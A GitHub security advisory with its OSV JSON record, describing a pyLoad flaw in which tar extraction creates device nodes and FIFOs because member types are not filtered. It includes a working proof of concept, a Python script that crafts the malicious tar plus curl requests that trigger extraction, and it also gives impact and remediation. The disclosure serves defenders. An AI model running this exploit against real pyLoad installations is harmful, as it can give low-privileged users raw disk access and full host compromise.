GHSA-FR26-JJHM-638C
Vulnerability from github – Published: 2026-10-09 17:08 – Updated: 2026-11-09 21:13Summary
UnTar._safe_extractall — the hardening added for GHSA-mvwx-582f-56r7 — validates member
names and symlink/hardlink targets, but never checks member types, and calls
tarfile.extractall without a filter=. On Python < 3.14 the default extraction filter is
fully_trusted, so a crafted tar containing device or FIFO entries makes pyLoad create
them on disk. When pyLoad runs as root (the official Docker deployment), a block-device
member grants raw disk access — full host compromise — reachable by any low-privileged user
who can trigger archive extraction (ADD to supply an archive, STATUS to invoke
ExtractArchive.extract_package).
Details
# plugins/extractors/UnTar.py:69-79
for member in tar.getmembers():
if not is_within_directory(...) or <symlink/hardlink target checks>: # names/links only
raise ArchiveError(...)
tar.extractall(path, members, numeric_owner=numeric_owner) # no filter=
No member.isdev() / ischr() / isblk() / isfifo() check exists, and the pre-validation
in plugins/base/extractor.py:191-263 is likewise name-only. Python's tarfile only defaults
to a safe filter in 3.14; supported runtimes (3.9–3.13) honor mknod for euid=0 and create
FIFOs for any euid.
PoC
BASE=http://127.0.0.1:8100
# craft a tar with: regular marker.txt + a CHRTYPE member (major=1,minor=3) + a FIFOTYPE member
python3 - <<'EOF'
import tarfile, io
t = tarfile.open('dev.bin','w') # name it *.bin so UnTar (content-sniffed) claims it
t.addfile(tarfile.TarInfo('marker.txt'), io.BytesIO(b'MARKER'))
i = tarfile.TarInfo('nulldev'); i.type = tarfile.CHRTYPE; i.devmajor=1; i.devminor=3; i.mode=0o666
t.addfile(i)
f = tarfile.TarInfo('pipe'); f.type = tarfile.FIFOTYPE
t.addfile(f); t.close()
EOF
# as a low-priv user (ADD|STATUS): add a package, place the archive in its download folder,
# then trigger extraction
curl -s -X POST "$BASE/api/add_package" -b ed.jar -H "X-CSRFToken: $T" \
-H 'Content-Type: application/json' -d '{"name":"poc","links":["http://x/dev.bin"],"dest":1}'
curl -s -X POST "$BASE/api/service_call" -b ed.jar -H "X-CSRFToken: $T" \
-H 'Content-Type: application/json' \
-d '{"service_name":"ExtractArchive.extract_package","arguments":["<pid>"]}'
ls -l <extract dir>
# → crw-rw-rw- 1 root root 1, 3 nulldev (character device created)
# → prw-r--r-- 1 root root pipe (FIFO created)
# → -rw-r--r-- 1 root root marker.txt
Negative control: the same flow with a ../evil traversal member is rejected
(ArchiveError: Attempted path traversal in archive) and nothing is extracted — the
GHSA-mvwx name filter works; the gap is member-type-specific. (Note: when the 7z binary
is present, .tar-named files are claimed by SevenZip first by extension; the UnTar path is
reached via non-mapped names — as above — content-sniffed containers, or when 7z is
absent/fails.)
Impact
With pyLoad as root, a crafted archive can create block/character device nodes at arbitrary paths (raw disk read/write → host compromise), plant FIFOs (process hangs, IPC confusion), or set special bits; non-root deployments still get FIFOs and node entries in user-accessible trees.
Remediation
In _safe_extractall, reject (or skip) every member that is not a regular file, directory,
or safe link — e.g. member.isdev() or isfifo() → ArchiveError — and pass
filter="data" (Python ≥ 3.12 supports it; backport the check for older runtimes). Apply
the same member-type validation in the pre-extraction validator so all extractors share it.
References
- GHSA-mvwx-582f-56r7 — the tar path-traversal fix this extends (names/links validated, member types not).
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pyload-ng"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.5.0b3.dev101"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-123815"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-09T17:08:58Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\n`UnTar._safe_extractall` \u2014 the hardening added for GHSA-mvwx-582f-56r7 \u2014 validates member\n**names** and symlink/hardlink **targets**, but never checks member **types**, and calls\n`tarfile.extractall` without a `filter=`. On Python \u003c 3.14 the default extraction filter is\n`fully_trusted`, so a crafted tar containing device or FIFO entries makes pyLoad create\nthem on disk. When pyLoad runs as root (the official Docker deployment), a block-device\nmember grants raw disk access \u2014 full host compromise \u2014 reachable by any low-privileged user\nwho can trigger archive extraction (ADD to supply an archive, STATUS to invoke\n`ExtractArchive.extract_package`).\n\n### Details\n\n```python\n# plugins/extractors/UnTar.py:69-79\nfor member in tar.getmembers():\n if not is_within_directory(...) or \u003csymlink/hardlink target checks\u003e: # names/links only\n raise ArchiveError(...)\ntar.extractall(path, members, numeric_owner=numeric_owner) # no filter=\n```\n\nNo `member.isdev()` / `ischr()` / `isblk()` / `isfifo()` check exists, and the pre-validation\nin `plugins/base/extractor.py:191-263` is likewise name-only. Python\u0027s tarfile only defaults\nto a safe filter in 3.14; supported runtimes (3.9\u20133.13) honor `mknod` for euid=0 and create\nFIFOs for any euid.\n\n### PoC\n\n```bash\nBASE=http://127.0.0.1:8100\n# craft a tar with: regular marker.txt + a CHRTYPE member (major=1,minor=3) + a FIFOTYPE member\npython3 - \u003c\u003c\u0027EOF\u0027\nimport tarfile, io\nt = tarfile.open(\u0027dev.bin\u0027,\u0027w\u0027) # name it *.bin so UnTar (content-sniffed) claims it\nt.addfile(tarfile.TarInfo(\u0027marker.txt\u0027), io.BytesIO(b\u0027MARKER\u0027))\ni = tarfile.TarInfo(\u0027nulldev\u0027); i.type = tarfile.CHRTYPE; i.devmajor=1; i.devminor=3; i.mode=0o666\nt.addfile(i)\nf = tarfile.TarInfo(\u0027pipe\u0027); f.type = tarfile.FIFOTYPE\nt.addfile(f); t.close()\nEOF\n\n# as a low-priv user (ADD|STATUS): add a package, place the archive in its download folder,\n# then trigger extraction\ncurl -s -X POST \"$BASE/api/add_package\" -b ed.jar -H \"X-CSRFToken: $T\" \\\n -H \u0027Content-Type: application/json\u0027 -d \u0027{\"name\":\"poc\",\"links\":[\"http://x/dev.bin\"],\"dest\":1}\u0027\ncurl -s -X POST \"$BASE/api/service_call\" -b ed.jar -H \"X-CSRFToken: $T\" \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"service_name\":\"ExtractArchive.extract_package\",\"arguments\":[\"\u003cpid\u003e\"]}\u0027\n\nls -l \u003cextract dir\u003e\n# \u2192 crw-rw-rw- 1 root root 1, 3 nulldev (character device created)\n# \u2192 prw-r--r-- 1 root root pipe (FIFO created)\n# \u2192 -rw-r--r-- 1 root root marker.txt\n```\n\nNegative control: the same flow with a `../evil` traversal member is rejected\n(`ArchiveError: Attempted path traversal in archive`) and nothing is extracted \u2014 the\nGHSA-mvwx name filter works; the gap is member-**type**-specific. (Note: when the 7z binary\nis present, `.tar`-named files are claimed by SevenZip first by extension; the UnTar path is\nreached via non-mapped names \u2014 as above \u2014 content-sniffed containers, or when 7z is\nabsent/fails.)\n\n### Impact\n\nWith pyLoad as root, a crafted archive can create block/character device nodes at arbitrary\npaths (raw disk read/write \u2192 host compromise), plant FIFOs (process hangs, IPC confusion),\nor set special bits; non-root deployments still get FIFOs and node entries in\nuser-accessible trees.\n\n### Remediation\n\nIn `_safe_extractall`, reject (or skip) every member that is not a regular file, directory,\nor safe link \u2014 e.g. `member.isdev() or isfifo()` \u2192 `ArchiveError` \u2014 and pass\n`filter=\"data\"` (Python \u2265 3.12 supports it; backport the check for older runtimes). Apply\nthe same member-type validation in the pre-extraction validator so all extractors share it.\n\n### References\n\n- GHSA-mvwx-582f-56r7 \u2014 the tar path-traversal fix this extends (names/links validated,\n member types not).",
"id": "GHSA-fr26-jjhm-638c",
"modified": "2026-11-09T21:13:24Z",
"published": "2026-10-09T17:08:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/security/advisories/GHSA-fr26-jjhm-638c"
},
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/commit/09eec1b431b6942a1917f094f2c77bfbf5637f60"
},
{
"type": "PACKAGE",
"url": "https://github.com/pyload/pyload"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "pyLoad: Tar extraction creates device nodes and FIFOs (member types not filtered; tarfile extractall without filter=)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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